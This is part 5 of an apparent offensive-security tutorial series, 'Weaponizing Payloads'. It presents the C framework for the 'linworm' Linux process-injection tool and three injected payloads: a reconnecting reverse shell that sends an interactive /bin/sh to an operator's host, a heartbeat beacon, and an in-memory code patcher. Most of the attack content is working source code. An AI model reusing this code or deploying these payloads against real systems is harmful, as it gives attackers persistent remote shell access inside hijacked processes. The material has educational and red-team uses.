Step-by-Step Linux Process Injection Guide Part 5 - Weaponizing Payloads
Step-by-Step Linux Process Injection Guide Series:
- Step-by-Step Linux Process Injection Guide Part 1 - Overview
- Step-by-Step Linux Process Injection Guide Part 2 - Attaching and Defeating ASLR
- Step-by-Step Linux Process Injection Guide Part 3 - Shellcode and Remote Function Calls
- Step-by-Step Linux Process Injection Guide Part 4 - Loading the Library
- Step-by-Step Linux Process Injection Guide Part 5 - Weaponizing Payloads
1. Introduction
Part 4 loaded a shared library into the target and ran a constructor that printed a single line to stdout. That proves injection works, but it is not very useful on its own. A real payload needs to keep running (holding a shell open, beaconing home, or patching the target’s behaviour) without freezing the process it just hijacked.
linworm solves this with a small framework that every payload shares. The constructor starts a background thread; the framework gives that thread a way to sleep, a way to stop, and a SIGUSR2 path that later lets the library unload itself. This article walks through that design, then shows three payloads built on top of it: a reverse shell, a heartbeat beacon, and a runtime memory patcher.
2. Payload Handling via Threads
2.1 Why Threads?
The constructor runs on whatever thread called dlopen(). In our case that is the target’s main thread, which the injector forced through the trampoline. If the constructor blocks (waiting for a TCP connection, for example), the whole target hangs for as long as the payload lives.
Starting a dedicated thread inside the constructor avoids that. The constructor creates the thread, returns immediately, and the main thread goes back to whatever it was doing. The payload runs in the background; the target carries on as normal.
2.2 The Common Framework
Every payload in src/payload/ links against src/payload/common.c. The idea is always the same: initialise, start a thread, loop until told to stop, then clean up.
static void *my_thread(void *arg) {
while (payload_running()) {
// ... do work ...
payload_sleep_ms(2000);
}
return NULL;
}
__attribute__((constructor))
void on_load(void) {
if (payload_init() == 0)
payload_start(my_thread);
}
__attribute__((destructor))
void on_unload(void) {
if (g_pipe_fd[0] != -1)
payload_stop();
}
on_load() runs when dlopen() finishes mapping the library. It sets up the framework and spawns the worker. The constructor then returns, so the target’s main thread can resume. on_unload() runs if the process exits normally; it tells the worker to stop and waits for it to finish.
payload_init() is what “sets up the framework” actually means:
int payload_init(void) {
if (pipe(g_pipe_fd) == -1)
return -1;
fcntl(g_pipe_fd[0], F_SETFL, O_NONBLOCK);
fcntl(g_pipe_fd[1], F_SETFL, O_NONBLOCK);
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = payload_signal_handler;
sa.sa_flags = SA_RESTART;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGUSR2, &sa, NULL) == -1) {
close(g_pipe_fd[0]);
close(g_pipe_fd[1]);
g_pipe_fd[0] = g_pipe_fd[1] = -1;
return -1;
}
Dl_info dl_info;
if (dladdr((void *)payload_init, &dl_info) && dl_info.dli_fname)
g_self_handle = dlopen(dl_info.dli_fname, RTLD_NOW | RTLD_NOLOAD);
g_running = 1;
return 0;
}
SIGUSR2 Handler, and Self-Handle
Three pieces, each for a different later step:
- A pipe that the sleeping thread can wait on. Writing a byte into it is how shutdown wakes the worker early.
- A
SIGUSR2handler, so an operator can ask the payload to stop while the target is still running. - A
RTLD_NOLOADhandle to the payload’s own.so. That handle is unused until evacuation; Part 6 covers why it exists.
payload_start() stores the user function and creates the thread behind a small wrapper. The worker itself is a loop: do work, then sleep, while payload_running() is true (g_running != 0). A plain sleep() would ignore shutdown until the timeout expires, so the framework sleeps by polling the pipe instead:
void payload_sleep_ms(int ms) {
struct pollfd pfd = {
.fd = g_pipe_fd[0],
.events = POLLIN,
};
poll(&pfd, 1, ms);
if (pfd.revents & POLLIN) {
char drain[16];
while (read(g_pipe_fd[0], drain, sizeof(drain)) > 0)
;
}
}
If nobody writes to the pipe, poll() just waits up to ms milliseconds, like a normal sleep. If shutdown writes a byte, poll() returns immediately and the loop sees payload_running() is now false. write() on a pipe is one of the few operations a signal handler is allowed to use, which is why this pattern (the self-pipe trick) shows up so often in Unix code.
There are two ways to stop.
Firstly, when the process exits, the destructor calls payload_stop(): it clears g_running, writes to the pipe, then pthread_join()s the worker and closes the pipe.
Secondly, when the operator sends SIGUSR2 instead, the handler does the same wake-up, plus it sets a second flag so the wrapper knows this was not a normal exit:
void payload_signal_handler(int sig) {
(void)sig;
g_running = 0;
g_signal_shutdown = 1;
const char byte = 1;
(void)write(g_pipe_fd[1], &byte, 1);
}
static void *payload_thread_wrapper(void *arg) {
void *ret = g_user_thread_func(arg);
if (g_signal_shutdown && g_self_handle)
payload_self_unload();
return ret;
}
SIGUSR2 Handler and The Wrapper That Chooses Cleanup
After the user thread returns, payload_self_unload() runs only on the SIGUSR2 path. It is how the payload removes its own library from the target. Part 6 will cover that trampoline in detail.
3. Payload Examples
The three payloads that ship with linworm all follow the skeleton above. The interesting part is what each thread does inside the loop.
3.1 Reverse Shell
src/payload/reverse_shell.c connects back to the operator and runs an interactive shell over that socket. If the connection drops, it tries again. Host and port come from LINWORM_RHOST and LINWORM_RPORT in the target’s environment, defaulting to 127.0.0.1:4444, so the same .so can be aimed at different listeners without a rebuild.
The outer loop is connect-or-retry:
static void *rshell_thread(void *arg) {
...
while (payload_running()) {
payload_log(RSHELL_LOG, "connecting to %s:%d...", host, port);
int sock = create_connection(host, port);
if (sock < 0) {
payload_log(RSHELL_LOG, "connection failed, retrying in %d ms",
RECONNECT_MS);
payload_sleep_ms(RECONNECT_MS);
continue;
}
payload_log(RSHELL_LOG, "connected (fd=%d)", sock);
...
}
...
}
RECONNECT_MS and Try Again
Once the socket is up, the payload forks a child and points the child’s stdin, stdout, and stderr at that socket:
static void *rshell_thread(void *arg) {
...
pid_t child = fork();
if (child == 0) {
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
close(sock);
if (g_pipe_fd[0] >= 0) close(g_pipe_fd[0]);
if (g_pipe_fd[1] >= 0) close(g_pipe_fd[1]);
char *argv[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", argv, NULL);
_exit(127);
}
...
}
The child also closes the self-pipe so it does not keep those file descriptors. The parent then watches the child with non-blocking waitpid(). If the shell exits, the outer loop reconnects. If SIGUSR2 arrives first, the parent sends SIGTERM to the child, waits for it, and closes the socket.
Let’s see this working in action!
Reverse Shell Demo3.2 Beacon
src/payload/beacon.c is the smallest payload: a heartbeat written to /tmp/linworm_beacon.log every BEACON_INTERVAL_MS (2 seconds).
static void *beacon_thread(void *arg) {
(void)arg;
unsigned long counter = 0;
payload_log(BEACON_LOG, "beacon started (pid=%d, tid=%ld)",
getpid(), (long)pthread_self());
while (payload_running()) {
payload_log(BEACON_LOG, "heartbeat #%lu (pid=%d)", counter++, getpid());
payload_sleep_ms(BEACON_INTERVAL_MS);
}
payload_log(BEACON_LOG, "beacon shutting down (pid=%d, %lu heartbeats sent)",
getpid(), counter);
return NULL;
}
Inject it, tail the log, and you know the library loaded and the worker is alive. Here’s a quick demonstration:
Beacon Demo3.3 Patch
src/payload/patch.c rewrites bytes in the target at compile-time offsets, then puts them back on shutdown. The user-facing config is a module name and a table of patches:
#define PATCH_TARGET "example_target"
static const patch_entry_t PATCHES[] = {
{
.offset = 0x4ab,
.patch_bytes = { 0xff, 0xff, 0xff, 0xff },
.orig_bytes = { 0x00, 0x00, 0x00, 0x00 },
.len = 4
},
/* add more entries here */
};
PATCHES[]: Offset, New Bytes, Original Bytes
PATCH_TARGET is matched against the path column in /proc/self/maps. The payload is already inside the target, so “self” is the target. That can be the main binary ("example_target") or a library ("libc.so.6"). Each patch_entry_t is an offset from that module’s base, the bytes to write, the originals to restore later, and a length.
Code pages are not writable by default. apply_patch() flips the page to writable, copies the bytes, then restores execute-only permissions:
static int apply_patch(uint8_t *site, const uint8_t *bytes, size_t len) {
if (set_page_perms(site, PROT_READ | PROT_WRITE | PROT_EXEC) != 0)
return -1;
memcpy(site, bytes, len);
if (set_page_perms(site, PROT_READ | PROT_EXEC) != 0)
return -1;
return 0;
}
The constructor finds the module, applies every table entry, and only starts the worker if at least one patch stuck. The thread itself just waits. On shutdown it walks the applied sites in reverse and writes orig_bytes back with the same helper:
static void *patch_thread(void *arg) {
...
while (payload_running())
payload_sleep_ms(1000);
for (size_t i = g_applied_count; i-- > 0; ) {
if (apply_patch(g_patch_sites[i], PATCHES[i].orig_bytes,
PATCHES[i].len) == 0)
payload_log(PATCH_LOG, "patch[%zu] unpatched at %p (pid=%d)",
i, (void *)g_patch_sites[i], getpid());
else
payload_log(PATCH_LOG, "patch[%zu] unpatch failed at %p (pid=%d)",
i, (void *)g_patch_sites[i], getpid());
}
...
}
Here’s a quick demonstration:
Patch Demo4. Conclusion
The framework in src/payload/common.c is small: a background thread so the target keeps running, a pipe so sleep can be interrupted, and two stop paths: normal exit through the destructor, or SIGUSR2 through the wrapper.
On top of that, the three examples do very different jobs with the same skeleton:
- Reverse shell – connect back, spawn /bin/sh, reconnect if the session dies.
- Beacon – a log heartbeat to confirm injection worked.
- Patch – rewrite bytes at a module offset, restore them on the way out.
A new payload is another thread function linked against the same helpers.
SIGUSR2 is also the start of evacuation: the wrapper calls payload_self_unload() instead of returning. Part 6 covers how that trampoline removes the payload’s own mapping from the target.
5. References
Step-by-Step Linux Process Injection Guide Series:
- Step-by-Step Linux Process Injection Guide Part 1 - Overview
- Step-by-Step Linux Process Injection Guide Part 2 - Attaching and Defeating ASLR
- Step-by-Step Linux Process Injection Guide Part 3 - Shellcode and Remote Function Calls
- Step-by-Step Linux Process Injection Guide Part 4 - Loading the Library
- Step-by-Step Linux Process Injection Guide Part 5 - Weaponizing Payloads